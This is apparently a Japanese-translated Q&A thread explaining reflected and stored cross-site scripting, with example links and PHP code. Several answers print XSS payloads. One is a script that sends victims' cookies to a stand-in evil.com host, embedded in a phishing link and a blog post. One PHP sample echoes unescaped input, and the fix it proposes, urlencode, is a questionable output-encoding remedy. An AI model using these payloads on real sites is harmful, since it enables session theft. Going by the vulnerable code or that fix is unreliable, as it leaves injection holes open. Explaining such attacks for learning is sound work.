web-dev-qa-db-ja.com

Reflected XSSとは何ですか?

次の定義にうんざりしています。

反映された攻撃とは、エラーメッセージ、検索結果、またはリクエストの一部としてサーバーに送信された入力の一部またはすべてを含むその他の応答など、挿入されたスクリプトがWebサーバーに反映される攻撃です。反映された攻撃は、電子メールメッセージや他のWebサイトなどの別のルートを介して被害者に配信されます。ユーザーがだまされて悪意のあるリンクをクリックしたり、特別に細工されたフォームを送信したり、悪意のあるサイトを閲覧したりすると、挿入されたコードは脆弱なWebサイトに移動し、攻撃がユーザーのブラウザーに反映されます。 「信頼された」サーバーからのコードであるため、ブラウザはコードを実行します

誰かが例を挙げて私を説明できますか?また、Reflected XSSとStored XSSの主な違いは何ですか?

25
user3273796

たとえば、www.example.com/page?main.htmlに移動すると、example.comのメインページが表示されます。次に、www.example.com/page?index.htmlにあるインデックスに移動します。他にどのようなページがあるのでしょうか?

したがって、www.example.com/page?fooと入力してEnterキーを押すと、「リソースfooが見つかりません」のようなエラーページが表示されます。

ここで注意すべき点は、URLにパラメーターを配置すると、そのパラメーターがユーザーとして反映されることです。この場合、それはパラメータ「foo」でした。

これで、反映されたXSSの背後にある考え方がもう少し明確になるはずです。 "foo"のようなlameパラメータを入力する代わりに、<script>alert(1)</script>fooのようなものを入力してEnterキーを押します。脆弱なサイトでは、そのパラメータ全体がポップアップするエラーページに挿入され、JavaScriptが実行され、「Resource foo is not found」メッセージに加えてポップアップが表示されます。他の誰かがあなたが作成したのと同じリンクに移動するように誘導できる場合は、そのセッションで任意のJavaScriptを実行できます。

42
Greg

反映されたXSS

被害者にhttp://example.com/page?var=<script>alert('xss')</script>へのリンクを送り、ページのどこかにその値が被害者にエコーバックされます。彼らが私の特別なリンクをたどる場合、値はページにのみあります。

このタイプの欠点は、リンクをクリックできる1人の被害者または被害者のグループを具体的に攻撃する必要があることです。他の人にあなたのリンクをたどるのは難しいかもしれません。

保存されたXSS

Webサイトに<script>alert('xss')</script>をしばらくの間、おそらくデータベースに永続化させる方法を見つけました。その後、被害者をhttp://example.com/pageそしてデータベースから値を読み取り、被害者に提示します。

このタイプの利点は、ページを表示するすべての人を攻撃することです。

23
John Downey

XSSの両方のタイプについて、次のようなJavaScriptのスニペットを検討してください。

<script>window.location='http://evil.com/?victimcookie='+document.cookie</script>

ハッカーがこれを別のサイトに表示できる場合、そのサイトにそのようなページをロードした被害者のすべてのユーザーCookieを収集できます。リフレクトXSSとストアドXSS(または永続XSS)は、このスクリプトを脆弱なサイトに表示させるための2つの異なる方法です。

  • 反映されたXSS-スクリプト自体がリクエストパラメータとしてサイトの脆弱な部分に渡され、サイトはJavaScriptをページに表示します。
  • 保存されたXSS-JavaScriptは長期的にはページ自体に誤って保存されます。

反映されたXSSの例

私はハッカーで、次の本文を含むフィッシングメールを送信しています。

これをチェックしてください: http://weak-site.com/search?keyword=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fevil.com%2F%3Fvictimcookie%3D%27%2Bdocument .cookie%3C%2Fscript%3E

キーワードparamの値は、上記のJavaScriptスニペットにデコードされます。被害者がリンクをクリックすると、weak-site.comはスクリプトが埋め込まれたページを表示します。ブラウザは被害者をハッカーのサイトにリダイレクトし、weak-site.comから被害者のCookieを配信します。

保存されたXSSの例

私はハッカーであり、weak-site.comに次の内容のブログ投稿を作成します。

LOL :p. <script>window.location='http://evil.com/?victimcookie='+document.cookie</script>

サイトが私の投稿をそのままレンダリングした場合、私の投稿を閲覧したすべてのユーザーのCookie値を収集できます。

10
jaybrau

非常に簡単な説明:

Reflected XSS:被害者がサイトへのURLをたどるときに、攻撃ペイロードがパラメーターに含まれます。

Stored XSS:攻撃ペイロードはサイト自体に保存され、誰かがページにアクセスすると、フォローされているURLに関係なく、攻撃が実行されます。

3
Bryan Geraghty

代わりに書く例を与える方が良い。

反射型XSS POC

<?php
/**
 * @Author Vaibs
 *
 */
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if (isset($_REQUEST['Submit'])) { //check if form was submitted
    $input = isset($_REQUEST['appid']) ? $_REQUEST['appid'] : "";//get input text
    echo "Input from client is reflected back as ->  : " . $input;
}
?>

<html>
<body>
<form>
    <input type="text" name="appid"/>
    <input type="submit" name="Submit"/>
</form>
</body>
</html>

回避する方法は?回答:最も簡単なのはPHP function urlencodeを使用することです。

<?php
/**
 * @Author Vaibs
 *
 */
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if (isset($_REQUEST['Submit'])) { //check if form was submitted
    $input = isset($_REQUEST['appid']) ? $_REQUEST['appid'] : "";//get input text
    echo "Input from client is reflected back as ->  : " . urlencode($input);
}
?>

<html>
<body>
<form>
    <input type="text" name="appid"/>
    <input type="submit" name="Submit"/>
</form>
</body>
</html>

違いは、2番目のコードで使用されているurlencode関数の使用です。

0
Vaibs